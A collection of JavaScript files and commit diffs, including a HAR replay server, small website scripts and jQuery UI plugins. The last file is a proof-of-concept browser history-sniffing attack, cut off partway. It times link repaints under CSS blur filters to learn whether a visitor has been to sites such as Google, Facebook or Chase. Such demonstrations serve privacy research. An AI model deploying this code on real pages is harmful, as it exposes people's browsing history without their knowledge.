      response.content.buffer = new Buffer(0);
    }

    pathRecord.responses.push(response);
  });
}

const app = express();
app.disable('x-powered-by');

// register control route
const connections = new Set();
app.put('/__har_server/reset', (req, res, next) => {
  console.log(`Resetting responses...`);
  for (let [origin, originRecord] of responsesByOrigin) {
    for (let [path, pathRecord] of originRecord.paths) {
      pathRecord.index = 0;
    }
  }
  console.log('Done.');

  res.status(204);
  res.send();
  connections.forEach(socket => socket.end());
});

// register route
app.all(['/', '/*'], (req, res, next) => {
  console.log(`${req.method} ${req.headers.host} ${req.originalUrl}`);
  try {
    const reqUrl = url.parse(req.originalUrl);
    const reqOrigin =
      toOrigin(url.parse(`${req.protocol}://${req.headers.host}`));
    const startedDateTime = Date.now();

    if (!responsesByOrigin.has(reqOrigin)) {
      throw new Error(
        `Request for ${req.originalUrl} is to unknown origin ${reqOrigin}`
      );
    }

    const paths = responsesByOrigin.get(reqOrigin).paths;

    if (!paths.has(reqUrl.path)) {
      throw new Error(
        `Request for ${req.originalUrl} is to unknown path ${reqUrl.path}`
      );
    }

    const pathResponses = paths.get(reqUrl.path);

    if (pathResponses.index >= pathResponses.responses.length) {
      throw new Error(`Out of responses for ${req.originalUrl}`);
    }

    const response = pathResponses.responses[pathResponses.index++];

    console.log(response.status);
    res.status(parseInt(response.status, 10));

    // set all headers
    console.log(response.headers);
    response.headers.forEach(header => {
      if (header.value instanceof TimeDelta) {
        res.set(header.name, header.value.toRfc1123Date(startedDateTime));
      } else {
        res.set(header.name, header.value);
      }
    });
    res.set('Content-Length', response.content.buffer.length);

    // send the buffer
    var now = Date.now();
    res.end(response.content.buffer, (err) => {
      if (err) {
        console.error(err.message, '\n', err.stack);
        throw err;
      }
      console.log(`Responded with ${response.content.buffer.length} bytes in ${Date.now() - now}ms`);
    });
  } catch (e) {
    console.error(`FAIL: ${e.message}\n${e.stack}`);
    res.status(500);
    res.send(`Server error:\n${e.message}\n${e.stack}`);
  }
});

function onClose(socket) {
  connections.delete(socket);
}

function onConnection(socket) {
  connections.add(socket);
  socket.on('close', onClose.bind(null, socket));
}

console.log(`Starting servers...`);

const certificates = new Map();

function getKeyAndCert(instance) {
  const {hostname, port} = url.parse(instance);
  const keyFilename = `/opt/ca/server-store/${hostname}_${port}.key`;
  const csrFilename = `/opt/ca/server-store/${hostname}_${port}.csr`;
  const certFilename = `/opt/ca/server-store/${hostname}_${port}.cert`;

  console.log(`instance: ${instance}`);
  if (!certificates.has(instance)) {
    const hostnames = Array.from(hostnamesByInstance.get(instance));
    console.log(`hostnames: ${hostnames}`);
    const SAN = hostnames.map(hostname => `DNS:${hostname}`).join(',');
    console.log(`SAN: ${SAN}`);
    let key, cert;

    try {
      key = fs.readFileSync(keyFilename);
      cert = fs.readFileSync(certFilename);
    } catch (e) {
      if (e.code !== 'ENOENT') {
        throw e;
      }
    }

    if (!key) {
      const cmd = `openssl req -extensions san_env -config /opt/ca/openssl.cnf -nodes -newkey rsa:2048 -keyout ${keyFilename} -out ${csrFilename} -subj "/CN=${hostnames[0]}"`;
      console.log(`Creating key for ${instance}\n${cmd}`);
      child_process.execSync(cmd, {
        env: {
          SAN
        }
      });
      key = fs.readFileSync(keyFilename);
    }

    if (!cert) {
      cmd = `openssl ca -batch -config /opt/ca/openssl.cnf -extensions server_cert -days 375 -notext -md sha256 -in ${csrFilename} -out ${certFilename}`;
      console.log(cmd);
      console.log(`Creating cert for ${instance}\n${cmd}`);
      console.log(`for hostnames: ${hostnames}`);
      child_process.execSync(cmd, {
        env: {
          SAN
        }
      });
      cert = fs.readFileSync(certFilename);
    }

    certificates.set(instance, { key, cert });
  }

  return certificates.get(instance);
}

getStdin().then(configStr => {
  const config = JSON.parse(configStr);
  processConfig(config);

  config.instances.forEach(instance => {
    const {protocol, hostname, port} = url.parse(instance);
    const httpVersion = httpVersionsByInstance.get(instance);

    if (protocol === 'http:') {
      server = http.createServer(app);
      server.on('connection', onConnection);
      server.listen(port, hostname);
    } else if (protocol === 'https:') {
      console.log(`starting https (${httpVersion}) server for ${instance}`);
      server = (httpsProtocolByVersion[httpVersion] || https).createServer(
          getKeyAndCert(instance),
          app
        );
      server.on('connection', onConnection);
      server.listen(port, hostname);
    } else {
      throw new Error(`Cannot support protocol '${protocol}'`);
    }

    console.log(`Listening on ${hostname}:${port}`);
  });
  console.log('Done');
});
<|endoftext|>


<commit_before>const tweets = require('./tweets')
const bot = require('../../twitBot')

// need this callback alone for test
const callback = () =>
  // eslint-disable-next-line no-console
  console.log('SUCCESS: Promote the Instagram channel now')

const promote = name => {
  const tweet = tweets[name]

  if (tweet) {
    bot.post(
      'statuses/update',
      {
        status: tweet
      },
      callback
    )
  } else {
    throw new Error('Name is not valid')
  }
}

exports.callback = callback
exports.promote = promote
<commit_msg>Delete index.js<commit_after><|endoftext|>


<commit_before>// Name of bg-images
var bgImages = ['hero-1.jpg','hero-2.jpg','hero-3.jpg','hero-4.jpg','hero-5.jpg'];
// img-directory
var baseURL = './img/';
// Interval for background image change
var secs = 15;

function openNav() {
  $('.sidenav').addClass('sidenav-open');
  $('#main').addClass('move-right');
  $('#hamburger').hide();
  // close on ESC-key
  document.onkeydown = function(e) {
    e = e || window.event;
    console.log(e.keyCode);
    if (e.keyCode == 27) {
      closeNav();
    }
  };
  // close on click anywhere outside of nav
  $('#main').click(function() {
    closeNav();
  });
}

function closeNav() {
  // TODO: Do I need to remove the onkeydown event from above?
  $('.sidenav').removeClass('sidenav-open');
  $('#main').removeClass('move-right');
  $('#hamburger').show();
}

// ROATING BG-IMAGES

function changeBgImage() {
  window.clearTimeout();
  var k = 0;
  for (i = 0; i < bgImages.length; i++) {
    setTimeout(function() {
      console.log('image change ', i, ' url ', baseURL + bgImages[k]);
      // FIXME: Can't seem to use $, even with $(document).ready, works fine with plain JS though
      document.getElementById('banner').style.background = 'url(' + baseURL + bgImages[k] + ') no-repeat ';
      document.getElementById('banner').style.backgroundSize = "cover";
      if ((k + 1) === bgImages.length) {
        setTimeout(function() {
          changeBgImage();
        }, (secs * 1000));
      } else {
        k++;
      }
    }, (secs * 1000) * i);
  }
}

changeBgImage();
<commit_msg>Preloads images, can't check it though in local enviroment as the problem only occurs on the web<commit_after>// Name of bg-images
var bgImages = ['hero-1.jpg', 'hero-2.jpg', 'hero-3.jpg', 'hero-4.jpg', 'hero-5.jpg'];
// img-directory
var baseURL = './img/';
// Preloads the images so there is no flicker in the first 'round'
bgImages.forEach(function(img) {
  new Image().src = baseURL + img;
// caches images, avoiding white flash between background replacements
});
// Interval for background image change
var secs = 15;

function openNav() {
  $('.sidenav').addClass('sidenav-open');
  $('#main').addClass('move-right');
  $('#hamburger').hide();
  // close on ESC-key
  document.onkeydown = function(e) {
    e = e || window.event;
    console.log(e.keyCode);
    if (e.keyCode == 27) {
      closeNav();
    }
  };
  // close on click anywhere outside of nav
  $('#main').click(function() {
    closeNav();
  });
}

function closeNav() {
  // TODO: Do I need to remove the onkeydown event from above?
  $('.sidenav').removeClass('sidenav-open');
  $('#main').removeClass('move-right');
  $('#hamburger').show();
}

// ROATING BG-IMAGES

function changeBgImage() {
  window.clearTimeout();
  var k = 0;
  for (i = 0; i < bgImages.length; i++) {
    setTimeout(function() {
      console.log('image change ', i, ' url ', baseURL + bgImages[k]);
      // FIXME: Can't seem to use $, even with $(document).ready, works fine with plain JS though
      document.getElementById('banner').style.background = 'url(' + baseURL + bgImages[k] + ') no-repeat ';
      document.getElementById('banner').style.backgroundSize = "cover";
      if ((k + 1) === bgImages.length) {
        setTimeout(function() {
          changeBgImage();
        }, (secs * 1000));
      } else {
        k++;
      }
    }, (secs * 1000) * i);
  }
}

changeBgImage();
<|endoftext|>


<commit_before>/**
 * Created by JM Organization on 10.08.2017.
 */

function search_news(news, filter) {
    $('.short-article').each(function () {
        var string = new RegExp(news, "igm");

        if ($(this).data('article').search(string) >= 0
            && news != ''
            && news != ' '
        ) {
            $(this).show();
        } else {
            $('.short-article').hide();
        }
    });
}
<commit_msg>fixes<commit_after>/**
 * Created by JM Organization on 10.08.2017.
 */

function search_news(news, filter) {
    $('.short-article').each(function () {
        var string = new RegExp(news, "ig");

        if ($(this).data('article').search(string) >= 0
            && news != ''
            && news != ' '
        ) {
            $(this).show();
        } else {
            $('.short-article').hide();
        }
    });
}
<|endoftext|>


<commit_before>// postition won't work correctly if you
// use a custom userChrome.css that modifies
// the browsers default content display.
// UI mods should not affect it.
$(document).ready(function() {
	$( "#container" ).draggable().position({
	my: "center",
	at: "center",
	of: window
	});
});
function openNotes() {
	var $htmlDoc = jQuery("#moreContent");
	$htmlDoc.load("./notes/notes.html");

	//$( "#container2" ).draggable().position({
	//my: "center",
	//at: "center",
	//of: window
	//});
}
<commit_msg>Getting Closer<commit_after>// postition won't work correctly if you
// use a custom userChrome.css that modifies
// the browsers default content display.
// UI mods should not affect it.
$(document).ready(function() {
	$( "#container" ).draggable().position({
	my: "center",
	at: "center",
	of: window
	});
});

$(container).ready(function() {
	$( "#container" ).draggable().position({
	my: "center",
	at: "center",
	of: window
	});
});
function openNotes() {
	var $htmlDoc = jQuery("#moreContent");
	$htmlDoc.load("./notes/notes.html");

	//$( "#container2" ).draggable().position({
	//my: "center",
	//at: "center",
	//of: window
	//});
}
<|endoftext|>


<commit_before>/**
 * Created by DevelopKim [kim@spaaaade.com] on 15. 6. 22..
 */

/* tab plugin */
/* tabContents 안의 내용은 div로 싼다. */
(function ($) {

    $.fn.sptab = function (option) {
        var opt = $.extend({}, $.fn.sptab.defaultOptions, option);
        $.fn.sptab.defaultOptions = opt;

        $.fn.sptab._this = this;

        $.fn.sptab.attachEvent(this, opt);
    };

    $.fn.sptab.defaultOptions = {
        parentClass: '.tabWrapper', tabContents: '.tabContents', activeClass: 'active', dataValue: 'tab'
    };

    $.fn.sptab.attachEvent = function (wrapper, option) {

        wrapper.find('.tabContentsTitle a').on('click', function (e) {
            e.preventDefault();

            var recentTab = $(this).data(option.dataValue),
                tabContents = $(this).parents(option.parentClass).find(option.tabContents + '[data-' + option.dataValue + '="' + recentTab + '"]');

            $(this).parents(option.parentClass).find(option.tabContents).removeClass(option.activeClass);
            tabContents.addClass(option.activeClass);

        })
    }

})(jQuery);

/* accordion plugin */
/* dl > dt + dd 구조로 한다. */
(function ($) {
    //private members
    var defaultOptions = {
        activeClass       : 'active',
        dataValue         : 'accordion',
        closeOtherContents: false,
        openedItem        : -1,
        elTitle           : 'dt',
        elContent         : 'dd',
        hasIcon           : false,
        downIconClass     : 'fa fa-chevron-down',
        upIconClass       : 'fa fa-chevron-up'
    }

    //public functions

    /**
     * Constructor : 생성자
     */
    $.fn.spaccordion = function (option) {

        return this.each(function(){

            var custom_option = $.extend({}, defaultOptions, option);
            $.fn.spaccordion.wrapper = this;

            $.fn.spaccordion.init(custom_option);

            //attach event
            var cb_data = {option : custom_option, wrapper: this};
            $(this).on('click', custom_option.elTitle + ' > a', cb_data, attachEvent );

        });

    };

    /**
     * Initialize : 초기화
     */
    $.fn.spaccordion.init = function(option){
        var openedItem = option.openedItem,
            hasIcon = option.hasIcon;

        //열어둬야 할 항목이 있는 경우
        if(openedItem >= 0){
            var wrapper = $(this.wrapper),
                strSelector = 'dt:eq(' + openedItem +'), dd:eq(' + openedItem + ')';
            var elItem = $(wrapper).find(strSelector);

            $(elItem).addClass(option.activeClass).css({display: 'block'});
            //아이콘 옵션이 활성화 되었다면 미리 열어두는 항목에 위 아이콘을 적용한다.
            if(option.hasIcon == true && option.upIconClass){
                var targetEl = $('dt:eq(' + openedItem + ') > a ');

                appendIconElement(targetEl, option.upIconClass);
            }
        }

        //아이콘 추가하는 경우
        if(hasIcon == true){
            var wrapper = $(this.wrapper);
            $(wrapper).find('dt > a').each(function(i, el){
                if($(this).parent('dt').hasClass('active')) return true;
                appendIconElement(this, option.downIconClass);
            });
        }
    }

    //private functions

    /**
     * 해당 항목 외의 항목들은 항상 닫아두기를 할 때
     */
    function closeOtherContents(currentAccodianContents){
        $(currentAccodianContents).siblings('dd').slideUp(200);
    }

    /**
     * 이벤트 attach
     */
    function attachEvent(e){
        e.preventDefault();
        var option = e.data.option,
            wrapper = e.data.wrapper;

        var dataVal = option.dataValue;
        var dataAccordian = $(this).data(dataVal),
            elContent = option.elContent,
            elTitle = option.elTitle,
            accordianContents = $(wrapper).find(elContent + '[data-' + dataVal + '="' + dataAccordian + '"]');

        var activeClass = option.activeClass;
        $(this).parent(elTitle).addClass(activeClass).siblings(elTitle).removeClass(activeClass);

        var this_ = $(this);
        $(accordianContents).slideToggle(200, function(){
            callbackSlideToggle(this_, option, wrapper);
        }).addClass(activeClass).siblings(elContent).removeClass(activeClass);

        if(option.closeOtherContents == true){
            closeOtherContents(accordianContents);
        }
    }

    /**
     * 슬라이드 후 아이콘 표시 callback 함수
     */
    function callbackSlideToggle(elAnchor, option, wrapper){
        if(option.hasIcon == false || (!option.downIconClass || !option.upIconClass)) return ;

        var dataVal = option.dataValue;

        //현재 메뉴를 제외한 형제 메뉴들은 아래 아이콘으로 일괄 변경
        $(elAnchor).parents('dt').siblings('dt').find('a i').attr('class', option.downIconClass);

        $(elAnchor).parent().siblings('dd').each(function(i, e){
            var isDown = true
            if($(this).is(':hidden')) isDown = false;

            var ddData = $(this).data(dataVal);

            var elIcon = $(wrapper).find('a[data-' + dataVal + '="' + ddData + '"]').find('i');

            var arrClass = [option.downIconClass, option.upIconClass];
            //아이콘 클래스명을 배열로 정의
            $(elIcon).toggleClass(function(){
                //먼저 아이콘 관련 클래스는 모두 제거 한다.
                $(this).removeClass(arrClass.join(' '));
                //true 면 1, false 이면 0 으로 배열의 인덱스 값을 구한다.
                return arrClass[+isDown];
            })

        });

    }

    /**
     * 아이콘 추가
     */
    function appendIconElement(target, classname){
        var elIcon = $('<i>');
        $(elIcon).addClass(classname);
        $(target).append(elIcon);
    }

})(jQuery);

/**
 * Tree Menu plugin
 */
(function($){

    var defaultOptions = {
        downIconClass: 'fa fa-chevron-down',
        upIconClass  : 'fa fa-chevron-up',
        slideDuration: 200,
        hasIcon: false
    };

    $.fn.sptreemenu = function(option){

        return this.each(function(){
            var custom_option = $.extend({}, defaultOptions, option);
            $.fn.sptreemenu.wrapper = this;
            $.fn.sptreemenu.init(custom_option, this);

            var cb_data = {option: custom_option, wrapper: this};
            $(this).on('click', '> li > a', cb_data, attachEvent);
        })
    };

    $.fn.sptreemenu.init = function (option, wrapper) {
        //아이콘 설정이 있을 때에만 실행
        if(option.hasIcon == true && (option.downIconClass && option.upIconClass)){
            //모든 메뉴의 아이콘을 아래로 초기화
            $(wrapper).find(' > li > a').each(function(i, el){
                var elIcon = $('<i>');
                $(elIcon).addClass(option.downIconClass);
                $(this).append(elIcon);
            });
        }
    }

    function attachEvent(e){
        e.preventDefault();

        var option = e.data.option;

        $(this).parents('li').siblings('li').find('ul').slideUp(option.slideDuration);

        $(this).siblings('ul').slideToggle(option.slideDuration);

        /* 버튼 모양 바꾸기 */
        //아이콘 설정이 없다면 중지
        if(option.hasIcon == false || (!option.downIconClass || !option.upIconClass)) return ;

        //현재 메뉴를 제외한 형제 메뉴들은 아래 아이콘으로 일괄 변경
        $(this).parents('li').siblings('li').find('a i').attr('class', option.downIconClass);
        var elIcon = $(this).find('i');

        var arrClass = [option.downIconClass, option.upIconClass],
            //아이콘 클래스명을 배열로 정의
            isDown = $(elIcon).hasClass(option.downIconClass);
            //아래 아이콘 클래스를 가지고 있는지 여부 boolean

        $(elIcon).toggleClass(function(){
            //먼저 아이콘 관련 클래스는 모두 제거 한다.
            $(this).removeClass(arrClass.join(' '));
            //true 면 1, false 이면 0 으로 배열의 인덱스 값을 구한다.
            return arrClass[+isDown];
        })
    }
})(jQuery);

<commit_msg>- 인덴트 정리한다<commit_after>/**
 * Created by DevelopKim [kim@spaaaade.com] on 15. 6. 22..
 */

/* tab plugin */
/* tabContents 안의 내용은 div로 싼다. */
(function ($) {

    $.fn.sptab = function (option) {
        var opt = $.extend({}, $.fn.sptab.defaultOptions, option);
        $.fn.sptab.defaultOptions = opt;

        $.fn.sptab._this = this;

        $.fn.sptab.attachEvent(this, opt);
    };

    $.fn.sptab.defaultOptions = {
        parentClass: '.tabWrapper',
        tabContents: '.tabContents',
        activeClass: 'active',
        dataValue: 'tab'
    };

    $.fn.sptab.attachEvent = function (wrapper, option) {

        wrapper.find('.tabContentsTitle a').on('click', function (e) {
            e.preventDefault();

            var recentTab = $(this).data(option.dataValue),
                tabContents = $(this).parents(option.parentClass).find(option.tabContents + '[data-' + option.dataValue + '="' + recentTab + '"]');

            $(this).parents(option.parentClass).find(option.tabContents).removeClass(option.activeClass);
            tabContents.addClass(option.activeClass);

        })
    }

})(jQuery);

/* accordion plugin */
/* dl > dt + dd 구조로 한다. */
(function ($) {
    //private members
    var defaultOptions = {
        activeClass       : 'active',
        dataValue         : 'accordion',
        closeOtherContents: false,
        openedItem        : -1,
        elTitle           : 'dt',
        elContent         : 'dd',
        hasIcon           : false,
        downIconClass     : 'fa fa-chevron-down',
        upIconClass       : 'fa fa-chevron-up'
    }

    //public functions

    /**
     * Constructor : 생성자
     */
    $.fn.spaccordion = function (option) {

        return this.each(function(){

            var custom_option = $.extend({}, defaultOptions, option);
            $.fn.spaccordion.wrapper = this;

            $.fn.spaccordion.init(custom_option);

            //attach event
            var cb_data = {option : custom_option, wrapper: this};
            $(this).on('click', custom_option.elTitle + ' > a', cb_data, attachEvent );

        });

    };

    /**
     * Initialize : 초기화
     */
    $.fn.spaccordion.init = function(option){
        var openedItem = option.openedItem,
            hasIcon = option.hasIcon;

        //열어둬야 할 항목이 있는 경우
        if(openedItem >= 0){
            var wrapper = $(this.wrapper),
                strSelector = 'dt:eq(' + openedItem +'), dd:eq(' + openedItem + ')';
            var elItem = $(wrapper).find(strSelector);

            $(elItem).addClass(option.activeClass).css({display: 'block'});
            //아이콘 옵션이 활성화 되었다면 미리 열어두는 항목에 위 아이콘을 적용한다.
            if(option.hasIcon == true && option.upIconClass){
                var targetEl = $('dt:eq(' + openedItem + ') > a ');

                appendIconElement(targetEl, option.upIconClass);
            }
        }

        //아이콘 추가하는 경우
        if(hasIcon == true){
            var wrapper = $(this.wrapper);
            $(wrapper).find('dt > a').each(function(i, el){
                if($(this).parent('dt').hasClass('active')) return true;
                appendIconElement(this, option.downIconClass);
            });
        }
    }

    //private functions

    /**
     * 해당 항목 외의 항목들은 항상 닫아두기를 할 때
     */
    function closeOtherContents(currentAccodianContents){
        $(currentAccodianContents).siblings('dd').slideUp(200);
    }

    /**
     * 이벤트 attach
     */
    function attachEvent(e){
        e.preventDefault();
        var option = e.data.option,
            wrapper = e.data.wrapper;

        var dataVal = option.dataValue;
        var dataAccordian = $(this).data(dataVal),
            elContent = option.elContent,
            elTitle = option.elTitle,
            accordianContents = $(wrapper).find(elContent + '[data-' + dataVal + '="' + dataAccordian + '"]');

        var activeClass = option.activeClass;
        $(this).parent(elTitle).addClass(activeClass).siblings(elTitle).removeClass(activeClass);

        var this_ = $(this);
        $(accordianContents).slideToggle(200, function(){
            callbackSlideToggle(this_, option, wrapper);
        }).addClass(activeClass).siblings(elContent).removeClass(activeClass);

        if(option.closeOtherContents == true){
            closeOtherContents(accordianContents);
        }
    }

    /**
     * 슬라이드 후 아이콘 표시 callback 함수
     */
    function callbackSlideToggle(elAnchor, option, wrapper){
        if(option.hasIcon == false || (!option.downIconClass || !option.upIconClass)) return ;

        var dataVal = option.dataValue;

        //현재 메뉴를 제외한 형제 메뉴들은 아래 아이콘으로 일괄 변경
        $(elAnchor).parents('dt').siblings('dt').find('a i').attr('class', option.downIconClass);

        $(elAnchor).parent().siblings('dd').each(function(i, e){
            var isDown = true
            if($(this).is(':hidden')) isDown = false;

            var ddData = $(this).data(dataVal);

            var elIcon = $(wrapper).find('a[data-' + dataVal + '="' + ddData + '"]').find('i');

            var arrClass = [option.downIconClass, option.upIconClass];
            //아이콘 클래스명을 배열로 정의
            $(elIcon).toggleClass(function(){
                //먼저 아이콘 관련 클래스는 모두 제거 한다.
                $(this).removeClass(arrClass.join(' '));
                //true 면 1, false 이면 0 으로 배열의 인덱스 값을 구한다.
                return arrClass[+isDown];
            })

        });

    }

    /**
     * 아이콘 추가
     */
    function appendIconElement(target, classname){
        var elIcon = $('<i>');
        $(elIcon).addClass(classname);
        $(target).append(elIcon);
    }

})(jQuery);

/**
 * Tree Menu plugin
 */
(function($){

    var defaultOptions = {
        downIconClass: 'fa fa-chevron-down',
        upIconClass  : 'fa fa-chevron-up',
        slideDuration: 200,
        hasIcon: false
    };

    $.fn.sptreemenu = function(option){

        return this.each(function(){
            var custom_option = $.extend({}, defaultOptions, option);
            $.fn.sptreemenu.wrapper = this;
            $.fn.sptreemenu.init(custom_option, this);

            var cb_data = {option: custom_option, wrapper: this};
            $(this).on('click', '> li > a', cb_data, attachEvent);
        })
    };

    $.fn.sptreemenu.init = function (option, wrapper) {
        //아이콘 설정이 있을 때에만 실행
        if(option.hasIcon == true && (option.downIconClass && option.upIconClass)){
            //모든 메뉴의 아이콘을 아래로 초기화
            $(wrapper).find(' > li > a').each(function(i, el){
                var elIcon = $('<i>');
                $(elIcon).addClass(option.downIconClass);
                $(this).append(elIcon);
            });
        }
    }

    function attachEvent(e){
        e.preventDefault();

        var option = e.data.option;

        $(this).parents('li').siblings('li').find('ul').slideUp(option.slideDuration);

        $(this).siblings('ul').slideToggle(option.slideDuration);

        /* 버튼 모양 바꾸기 */
        //아이콘 설정이 없다면 중지
        if(option.hasIcon == false || (!option.downIconClass || !option.upIconClass)) return ;

        //현재 메뉴를 제외한 형제 메뉴들은 아래 아이콘으로 일괄 변경
        $(this).parents('li').siblings('li').find('a i').attr('class', option.downIconClass);
        var elIcon = $(this).find('i');

        var arrClass = [option.downIconClass, option.upIconClass],
            //아이콘 클래스명을 배열로 정의
            isDown = $(elIcon).hasClass(option.downIconClass);
            //아래 아이콘 클래스를 가지고 있는지 여부 boolean

        $(elIcon).toggleClass(function(){
            //먼저 아이콘 관련 클래스는 모두 제거 한다.
            $(this).removeClass(arrClass.join(' '));
            //true 면 1, false 이면 0 으로 배열의 인덱스 값을 구한다.
            return arrClass[+isDown];
        })
    }
})(jQuery);

<|endoftext|>


<commit_before>"use strict";

var attackRunning = false;
var launchTest = document.getElementById("launch-test");

const NEVER_VISITED =
		"http://laddress-you-must-have-never-visited-before100000.com";
const NEVER_VISITED2 =
	"http://laddress-you-must-have-never-visited-before200000.com";
const LINKS = [
	location.href,
	"https://www.google.com",
	"https://www.facebook.com",
	"https://twitter.com",
	"https://twitter.com/upsuperx",
	"https://bugzilla.mozilla.org",
	"https://www.google.co.uk",
	"http://www.youtube.com",
	"https://www.linkedin.com",
	"http://www.craigslist.org",
	"http://stackoverflow.com",
	"http://www.bing.com",
	"http://www.bbc.co.uk",
	"http://www.microsoft.com",
	"http://www.amazon.com",
	"http://www.reddit.com",
	"http://news.ycombinator.com",
	"http://www.wordpress.com",
	"http://pinterest.com",
	"http://www.apple.com",
	"http://arstechnica.com",
	"https://www.quora.com",
	"https://www.yahoo.com",
	"https://www.instagram.com",
	"https://www.chase.com"
];

const test_area = document.getElementById('test-area');
const test_links = test_area.children;

function initTestArea(num) {
	var count = num / Math.pow(window.devicePixelRatio, 2);
	// We create count links
	for (var i = 0; i < count; i++) {
		var a = document.createElement('a');
		a.appendChild(document.createTextNode('### ### ###'));
		test_area.appendChild(a);
	}
}

function setTestAreaLink(link) {
	for (var i = 0; i < test_links.length; i++) {
		test_links[i].href = link;
		// test_links[i].style.color = "";
		// test_links[i].style.color = "red";
	}
}

function requestAnimationFrames(callbacks) {
	if (callbacks.length > 0) {
		requestAnimationFrame(function(t){
			callbacks.shift()(t);
			requestAnimationFrames(callbacks);
		});
	}
}

function EMPTY_LOOP(){}
function checkOnePass(link) {
	return new Promise(function(resolve, reject){
		var timestamps = [];
		function getCallback(link, log_time) {
			return function(t){
				if (log_time){
					timestamps.push(t);
				}
				setTestAreaLink(link);
			};
		}
		var callbacks;
		callbacks = [
		getCallback(NEVER_VISITED, false),
		getCallback(NEVER_VISITED, false),
		getCallback(link, true), EMPTY_LOOP,
		getCallback(NEVER_VISITED, true), EMPTY_LOOP,
		function(t){
				timestamps.push(t);
				resolve({
					test: [timestamps[1] - timestamps[0],
								timestamps[2] - timestamps[1]],
				});
			}
		];
		requestAnimationFrames(callbacks);
	});
}
function computeMedian(series) {
	var sorted = series.slice(0);
	sorted.sort();
	var median_index = Math.floor(sorted.length / 2);
	if (median_index * 2 != sorted.length) {
		return sorted[median_index];
	} else {
		return (sorted[median_index - 1] + sorted[median_index]) / 2;
	}
}
function examineTimeSeries(test_series, base_series) {
	var test_median = computeMedian(test_series);
	var base_median = computeMedian(base_series);
	return test_median > base_median * 1.80;
}

function checkIsLinkVisited(link, nbIter, base_series) {
	return new Promise(function(resolve, reject){
		var test_series = [];
		var promise = Promise.resolve();
		for (var i = 0; i < nbIter; i++) {
			promise = promise
				.then(function(){
					return checkOnePass(link);
				})
				.then(function(times){
					test_series.push(...times.test);
				});
		}
		promise.then(function(){
			var visited = examineTimeSeries(test_series, base_series);
			resolve({ visited, test_series, base_series });
		});
	});
}

function runNonVisited(nbIter){
		return new Promise(function(resolve, reject){
			var base_series = [];
			var promise = Promise.resolve();
			for (var i = 0; i < nbIter; i++) {
				promise = promise
					.then(function(){
							return new Promise(function(resolve, reject){
									var timestamps = [];
									function getCallback(link, log_time) {
											return function(t){
												if (log_time){
													timestamps.push(t);
													}
													setTestAreaLink(link);
											};
									}
									var callbacks;
									callbacks = [
											// getCallback(NEVER_VISITED, false),
											getCallback(NEVER_VISITED, false),
											getCallback(NEVER_VISITED, true), EMPTY_LOOP,
											getCallback(NEVER_VISITED2, true), EMPTY_LOOP,
											getCallback(NEVER_VISITED, true), EMPTY_LOOP,
											function(t){
												timestamps.push(t);
												resolve({
														base: [timestamps[1] - timestamps[0],
																timestamps[2] - timestamps[1]]
												});
											}
									];
									requestAnimationFrames(callbacks);
							});
					}).then(function(times){
							base_series.push(...times.base);
					});
			}
			promise.then(function(){
				resolve(base_series);
			});
		});
}

function runVisited(nbIter){
		return new Promise(function(resolve, reject){
			var base_series = [];
			var promise = Promise.resolve();
			for (var i = 0; i < nbIter; i++) {
				promise = promise
					.then(function(){
							return new Promise(function(resolve, reject){
									var timestamps = [];
									function getCallback(link, log_time) {
											return function(t){
													if (log_time){
													timestamps.push(t);
													}
													setTestAreaLink(link);
											};
									}
									var callbacks;
									callbacks = [
										getCallback(NEVER_VISITED, false),
										getCallback(LINKS[0], true), EMPTY_LOOP,
										getCallback(NEVER_VISITED, true), EMPTY_LOOP,
										function(t){
												timestamps.push(t);
												resolve({
													test: [timestamps[1] - timestamps[0],
																timestamps[2] - timestamps[1]],
												});
											}
										];
									requestAnimationFrames(callbacks);
							});
					}).then(function(times){
							base_series.push(...times.test);
					});
			}
			promise.then(function(){
				resolve(base_series);
			});
		});
}

function listTimes(time_series) {
	return time_series.map(t => Math.round(t)).join(', ');
}
function generateDetails(result) {
	var ul = document.createElement('ul');
	ul.className = 'details';
	var test = document.createElement('li');
	test.appendChild(document.createTextNode(`test: ${listTimes(result.test_series)}`));
	ul.appendChild(test);
	return ul;
}

function runAttack(){
	var nbFailures = 0;
	attackRunning = true;
	launchTest.innerHTML = "Attack running ...";
	test_area.style.position = "fixed";
	test_area.style.display = "block";

	const links = document.getElementById('links');
	links.innerHTML = "";
	initTestArea(500);
	var promise = Promise.resolve();
	var calibrate = true;
	var base_series = [];
	var iter_to_base_series = {};
	var non_visited_series = [];
	var visited_series = [];
	var timeRequired = [];
	var testAreaElt = document.getElementById("test-area");
	// position:fixed;
	// top: 0; left: 0;
	// right: 0; bottom: 0;

	function optimizeParameters(promiseCondition, nbIter, blurPx){
		return new Promise(function(resolve, reject){
			var start;
			if(nbIter == 1){
				return reject("0iter");
			}

			testAreaElt.style.filter = "blur("+blurPx+"px) blur("+blurPx+"px) opacity(0%)";
			testAreaElt.style.webkitFilter = "blur("+blurPx+"px) blur("+blurPx+"px) opacity(0%);";
			promiseCondition.then(function(){
				start = performance.now();
				return runNonVisited(nbIter);
			}).then(function(result){
				non_visited_series = result;
				iter_to_base_series[nbIter] = result;
				return Promise.resolve();
			}).then(function(res){
				return runVisited(nbIter);
			}).then(function(result){
				visited_series = result;
				var validated = examineTimeSeries(visited_series, non_visited_series);
				return Promise.resolve(validated);
			}).then(function(result){
				timeRequired.push(performance.now()-start);
				if(result){
					optimizeParameters(Promise.resolve(), nbIter-1, blurPx-5).then(function(res){
						var resParameters = {
							nbIter: res.nbIter,
							blur: res.blur,
							non_visited_series: res.non_visited_series
						}
						return resolve(resParameters);
					}, function(res){
						var resParameters = {
							nbIter: nbIter,
							blur: blurPx,
							non_visited_series: iter_to_base_series[nbIter]
						}
						return resolve(resParameters);
					});
				} else{
					return reject("Should not be there ?");
				}
			}).catch(function(err){
				return resolve("An exception occured");
			});
		});
	}

	function launchOptim(blur){
		return new Promise(function(resolve, reject){
			var p1 = optimizeParameters(Promise.resolve(), 3, blur);
			p1.then(function(optimizedParameters){
				return resolve(optimizedParameters);
			}, function(failure){
				nbFailures++;
				if(nbFailures > 3){
					return reject("failure");
				}
				launchOptim(blur+10).then(function(res){
					return resolve(res);
				}, function(err){
					return reject("failure");
				});
			}).catch(function(err){
				return reject("failure");
			});
		});
	}

	function testLinks(optimizedParameters){
		var blurPx = optimizedParameters.blur;
		//We set the filter with the optimal value
		testAreaElt.style.filter = "blur("+blurPx+"px) blur("+blurPx+"px) opacity(0%)";
		testAreaElt.style.webkitFilter = "blur("+blurPx+"px) blur("+blurPx+"px) opacity(0%)";
		// We shouldn't have to do +1, fix this !
		var nbIter = optimizedParameters.nbIter;
